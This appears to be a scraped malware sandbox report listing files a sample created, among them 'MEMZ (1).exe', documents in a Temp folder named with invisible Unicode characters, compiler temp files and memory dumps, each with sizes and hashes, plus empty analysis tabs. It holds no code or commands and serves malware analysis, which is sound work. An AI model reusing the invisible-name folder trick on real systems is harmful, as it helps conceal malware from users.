9fc0413b107e079d57686304f48cece9b70b1b63

SHA256
1f3dbb63a0eff14c5f2976926e7e58bd242674f25e72ac6f8ff8e7ab6f48f62f

SHA512
f73c16fe9cddd6a4cc550f682aea7520ca5566ec1deb952cc344782817f81b2f4801d13614ac030e677f0b1413462a41039387013d71be117dc739ab420ddb81

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‍ ‎\Common Files\Documents\Are.docx

Filesize
11KB

MD5
a33e5b189842c5867f46566bdbf7a095

SHA1
e1c06359f6a76da90d19e8fd95e79c832edb3196

SHA256
5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454

SHA512
f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‍ ‎\Common Files\Documents\BackupDeny.vsdx

Filesize
1.6MB

MD5
306e4443902856548d630c35dcea0ee7

SHA1
1a4a245074e56dbb50e61634a4f6e2d82f7e1410

SHA256
eded1a43eb9173c37d69efb168fc0a629b23e039d51c617bdefd9230fa9c2985

SHA512
289252ee58fed47cfe3dac9f02317564df65c3e79b2123ec57ff4053f4e1d16ef976396a126e2c96ee97537085b33f6f08fbecbe493796977a556dd46a7a49f5

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‍ ‎\Common Files\Documents\DisconnectShow.xlsx

Filesize
860KB

MD5
fd79081e8b02dc2029d44b57e49d6386

SHA1
d384d9daca83cca4bd1c1106453cc16928c8aea7

SHA256
d169f0162cd83b5b4d18c3614d032f3310c94653641e545822c1f635293cf764

SHA512
bed9c38f51ca1ec76f14e1844a47abb960f365ffe2a36831a47f7b46e8cc1b40f5b1f3d03bd410ae2dd8abee36eb11cf2ef65ca3406f8ab28da1838aedcd9cdb

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‍ ‎\Common Files\Documents\Files.docx

Filesize
11KB

MD5
4a8fbd593a733fc669169d614021185b

SHA1
166e66575715d4c52bcb471c09bdbc5a9bb2f615

SHA256
714cd32f8edacb3befbfc4b17db5b6eb05c2c8936e3bae14ea25a6050d88ae42

SHA512
6b2ebbbc34cd821fd9b3d7711d9cdadd8736412227e191883e5df19068f8118b7c80248eb61cc0a2f785a4153871a6003d79de934254b2c74c33b284c507a33b

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‍ ‎\Common Files\Documents\InitializeExit.doc

Filesize
1.1MB

MD5
53ed90479a2ca80a87f99de6926b5870

SHA1
9232501898327f76fe0647b22f1d55c03ff32e32

SHA256
5cfd9966ee3460e0a2f8ddcfb3874209284120b3aba781943e45ea5fd4692a6d

SHA512
d868ce1753fff79b9bfecbfb89e44aa5450531bf01be15e3331481b479450eae84bde0b3ece457c0dff62ea10c28a4f11b3cc7c49a3a7c6fc422eccbd388f814

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‍ ‎\Common Files\Documents\Opened.docx

Filesize
11KB

MD5
bfbc1a403197ac8cfc95638c2da2cf0e

SHA1
634658f4dd9747e87fa540f5ba47e218acfc8af2

SHA256
272ed278e82c84cf4f80f48ec7989e1fc35f2055d6d05b63c8a31880846597a6

SHA512
b8938526fcbf7152805aec130ca553e3ec949cb825430a5d0a25c90ec5eb0863857010484a4b31fdc4bb65a4c92ad7127c812b93114be4569a677f60debe43b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‍ ‎\Common Files\Documents\Recently.docx

Filesize
11KB

MD5
3b068f508d40eb8258ff0b0592ca1f9c

SHA1
59ac025c3256e9c6c86165082974fe791ff9833a

SHA256
07db44a8d6c3a512b15f1cb7262a2d7e4b63ced2130bc9228515431699191cc7

SHA512
e29624bc8fecb0e2a9d917642375bd97b42502e5f23812195a61a4920cae5b6ed540e74dfcf8432dcceb7de906ad0501cdd68056f9b0ec86a6bb0c1e336bfe32

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‍ ‎\Common Files\Documents\SplitRead.doc

Filesize
496KB

MD5
3669e8d2edd57e4ba707e944696e0a82

SHA1
902cebb9723fbf8f24cf16306fe173583a043c0a

SHA256
843bbb38b3914cbdaab41432d823465160133f52c5caa2b7660c2b0800c6baee

SHA512
cb95368bbfd3eae5fdd7f15b6a52b3e783af4f8cad99f70a6905e788195f6c70e0521f73a1a2169268debc1b515d3cdbcd6163abbbc05ac1f698f9833c191d17

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‍ ‎\Common Files\Documents\These.docx

Filesize
11KB

MD5
87cbab2a743fb7e0625cc332c9aac537

SHA1
50f858caa7f4ac3a93cf141a5d15b4edeb447ee7

SHA256
57e3b0d22fa619da90237d8bcf8f922b142c9f6abf47efc5a1f5b208c4d3f023

SHA512
6b678f0dd0030806effe6825fd52a6a30b951e0c3dcf91dfd7a713d387aa8b39ec24368e9623c463360acba5e929e268f75ce996526c5d4485894b8ac6b2e0fa

Download Submit
C:\Users\Admin\AppData\Local\Temp\‏ ‍ ‎\Common Files\Downloads\DisableShow.jpeg

Filesize
823KB

MD5
f540ba58930175156eb4a88944e8fb2f

SHA1
577e36a745e81146a833990ed1f01ec763d4a803

SHA256
520564d2550e2974ca111f0a283794067af168929eca96a03cd7e0cb2bcd13c3

SHA512
30e9d3ee4ae0162417bb9a93e2b91d8f4d46deb2474214b4952f5f51593bd3f4ea7c88de0a44e79e3a9e10533c11bb52d54bd8dfb4c1124799d16ca7d075bf10

Download Submit
C:\Users\Admin\Downloads\MEMZ (1).exe

Filesize
16KB

MD5
1d5ad9c8d3fee874d0feb8bfac220a11

SHA1
ca6d3f7e6c784155f664a9179ca64e4034df9595

SHA256
3872c12d31fc9825e8661ac01ecee2572460677afbc7093f920a8436a42e28ff

SHA512
c8246f4137416be33b6d1ac89f2428b7c44d9376ac8489a9fbf65ef128a6c53fb50479e1e400c8e201c8611992ab1d6c1bd3d6cece89013edb4d35cdd22305b1

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\y45fr1k5\CSC9C0A893CFFA04C6ABC83DBAA3B7EA93.TMP

Filesize
652B

MD5
a28f4556f957f77f7e56e590a6e770ab

SHA1
c3dc50ea145440f7390c051b523583d06f8f24b2

SHA256
09152b950d6295e1a6da2f53ca8aa24642b4be4e8f85c0c2817b984fbe3a85e7

SHA512
8cdd7b227fe4bdbd5f8b0d9f39a180d58a08004d69200c8bc814a9406bb7ab03d99122922645a8b3136dcc3a6e1269a943a386839414ec67032924a182ca3c00

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\y45fr1k5\y45fr1k5.0.cs

Filesize
1004B

MD5
c76055a0388b713a1eabe16130684dc3

SHA1
ee11e84cf41d8a43340f7102e17660072906c402

SHA256
8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

SHA512
22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\y45fr1k5\y45fr1k5.cmdline

Filesize
607B

MD5
f246295a92a5ddbe2fa0e6674694f83c

SHA1
ca76f0968fb1c4f2b02e3780c4f90df85598e3d1

SHA256
3213d6886ba71e431000c09d495bd4429e38e2f6392fb10c8fc16a4b26cce092

SHA512
1f823de5b0509556e3545b3e3cd4e21334ef873b5f7fcc8b703860026e6d510b17b455bf95c2566249a2277a0b330925f58048e3b2ff8f14f07cbfa0ff05aa9a

Download Submit
memory/2540-1047-0x000001E5FA8F0000-0x000001E5FA8F1000-memory.dmp

Filesize
4KB

Download
memory/2540-1042-0x000001E5FA8F0000-0x000001E5FA8F1000-memory.dmp

Filesize
4KB

Download
memory/2540-1041-0x000001E5FA8F0000-0x000001E5FA8F1000-memory.dmp

Filesize
4KB

Download
memory/2540-1040-0x000001E5FA8F0000-0x000001E5FA8F1000-memory.dmp

Filesize
4KB

Download
memory/2540-1052-0x000001E5FA8F0000-0x000001E5FA8F1000-memory.dmp

Filesize
4KB

Download
memory/2540-1051-0x000001E5FA8F0000-0x000001E5FA8F1000-memory.dmp

Filesize
4KB

Download
memory/2540-1050-0x000001E5FA8F0000-0x000001E5FA8F1000-memory.dmp

Filesize
4KB

Download
memory/2540-1049-0x000001E5FA8F0000-0x000001E5FA8F1000-memory.dmp

Filesize
4KB

Download
memory/2540-1048-0x000001E5FA8F0000-0x000001E5FA8F1000-memory.dmp

Filesize
4KB

Download
memory/2540-1046-0x000001E5FA8F0000-0x000001E5FA8F1000-memory.dmp

Filesize
4KB

Download
memory/3368-196-0x0000029755930000-0x0000029755938000-memory.dmp

Filesize
32KB

Download
memory/3920-89-0x00000246EE300000-0x00000246EE322000-memory.dmp

Filesize
136KB

Download
memory/4876-74-0x00007FFCFDCD0000-0x00007FFCFDCE4000-memory.dmp

Filesize
80KB

Download
memory/4876-370-0x00007FFD017F0000-0x00007FFD017FF000-memory.dmp

Filesize
60KB

Download
memory/4876-371-0x00007FFCFD910000-0x00007FFCFD93D000-memory.dmp

Filesize
180KB

Download
memory/4876-372-0x00007FFCFD880000-0x00007FFCFD899000-memory.dmp

Filesize
100KB

Download
memory/4876-373-0x00007FFCFD0F0000-0x00007FFCFD113000-memory.dmp

Filesize
140KB

Download
memory/4876-374-0x00007FFCEE950000-0x00007FFCEEAC3000-memory.dmp

Filesize
1.4MB

Download
memory/4876-375-0x00007FFCFDCC0000-0x00007FFCFDCCD000-memory.dmp

Filesize
52KB

Download
memory/4876-376-0x00007FFCFD860000-0x00007FFCFD879000-memory.dmp

Filesize
100KB

Download
memory/4876-377-0x00007FFCF66D0000-0x00007FFCF66FE000-memory.dmp

Filesize
184KB

Download
memory/4876-378-0x00007FFCEE3A0000-0x00007FFCEE458000-memory.dmp

Filesize
736KB

Download
memory/4876-379-0x00007FFCEE020000-0x00007FFCEE395000-memory.dmp

Filesize
3.5MB

Download
memory/4876-380-0x00007FFCFDCD0000-0x00007FFCFDCE4000-memory.dmp

Filesize
80KB

Download
memory/4876-381-0x00007FFCFDB00000-0x00007FFCFDB0D000-memory.dmp

Filesize
52KB

Download
memory/4876-382-0x00007FFCEEAF0000-0x00007FFCEEC0C000-memory.dmp

Filesize
1.1MB

Download
memory/4876-369-0x00007FFCFE650000-0x00007FFCFE674000-memory.dmp

Filesize
144KB

Download
memory/4876-354-0x00007FFCEED80000-0x00007FFCEF368000-memory.dmp

Filesize
5.9MB

Download
memory/4876-315-0x00007FFCEE020000-0x00007FFCEE395000-memory.dmp

Filesize
3.5MB

Download
memory/4876-305-0x00007FFCFE650000-0x00007FFCFE674000-memory.dmp

Filesize
144KB

Download
memory/4876-312-0x00007FFCFDCC0000-0x00007FFCFDCCD000-memory.dmp

Filesize
52KB

Download
memory/4876-313-0x00007FFCF66D0000-0x00007FFCF66FE000-memory.dmp

Filesize
184KB

Download
memory/4876-314-0x00007FFCEE3A0000-0x00007FFCEE458000-memory.dmp

Filesize
736KB

Download
memory/4876-319-0x00007FFCEE950000-0x00007FFCEEAC3000-memory.dmp

Filesize
1.4MB

Download
memory/4876-320-0x00007FFCFD860000-0x00007FFCFD879000-memory.dmp

Filesize
100KB

Download
memory/4876-304-0x00007FFCEED80000-0x00007FFCEF368000-memory.dmp

Filesize
5.9MB

Download
memory/4876-303-0x00007FFCFD0F0000-0x00007FFCFD113000-memory.dmp

Filesize
140KB

Download
memory/4876-206-0x00007FFCFE650000-0x00007FFCFE674000-memory.dmp

Filesize
144KB

Download
memory/4876-79-0x00007FFCEEAF0000-0x00007FFCEEC0C000-memory.dmp

Filesize
1.1MB

Download
memory/4876-78-0x00007FFCEED80000-0x00007FFCEF368000-memory.dmp

Filesize
5.9MB

Download
memory/4876-76-0x00007FFCFDB00000-0x00007FFCFDB0D000-memory.dmp

Filesize
52KB

Download
memory/4876-69-0x00007FFCF66D0000-0x00007FFCF66FE000-memory.dmp

Filesize
184KB

Download
memory/4876-72-0x000001BF41990000-0x000001BF41D05000-memory.dmp

Filesize
3.5MB

Download
memory/4876-70-0x00007FFCEE3A0000-0x00007FFCEE458000-memory.dmp

Filesize
736KB

Download
memory/4876-71-0x00007FFCEE020000-0x00007FFCEE395000-memory.dmp

Filesize
3.5MB

Download
memory/4876-63-0x00007FFCFD860000-0x00007FFCFD879000-memory.dmp

Filesize
100KB

Download
memory/4876-64-0x00007FFCFDCC0000-0x00007FFCFDCCD000-memory.dmp

Filesize
52KB

Download
memory/4876-60-0x00007FFCEE950000-0x00007FFCEEAC3000-memory.dmp

Filesize
1.4MB

Download
memory/4876-57-0x00007FFCFD880000-0x00007FFCFD899000-memory.dmp

Filesize
100KB

Download
memory/4876-58-0x00007FFCFD0F0000-0x00007FFCFD113000-memory.dmp

Filesize
140KB

Download
memory/4876-54-0x00007FFCFD910000-0x00007FFCFD93D000-memory.dmp

Filesize
180KB

Download
memory/4876-31-0x00007FFCFE650000-0x00007FFCFE674000-memory.dmp

Filesize
144KB

Download
memory/4876-32-0x00007FFD017F0000-0x00007FFD017FF000-memory.dmp

Filesize
60KB

Download
memory/4876-25-0x00007FFCEED80000-0x00007FFCEF368000-memory.dmp

Filesize
5.9MB

Download

Resubmissions

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads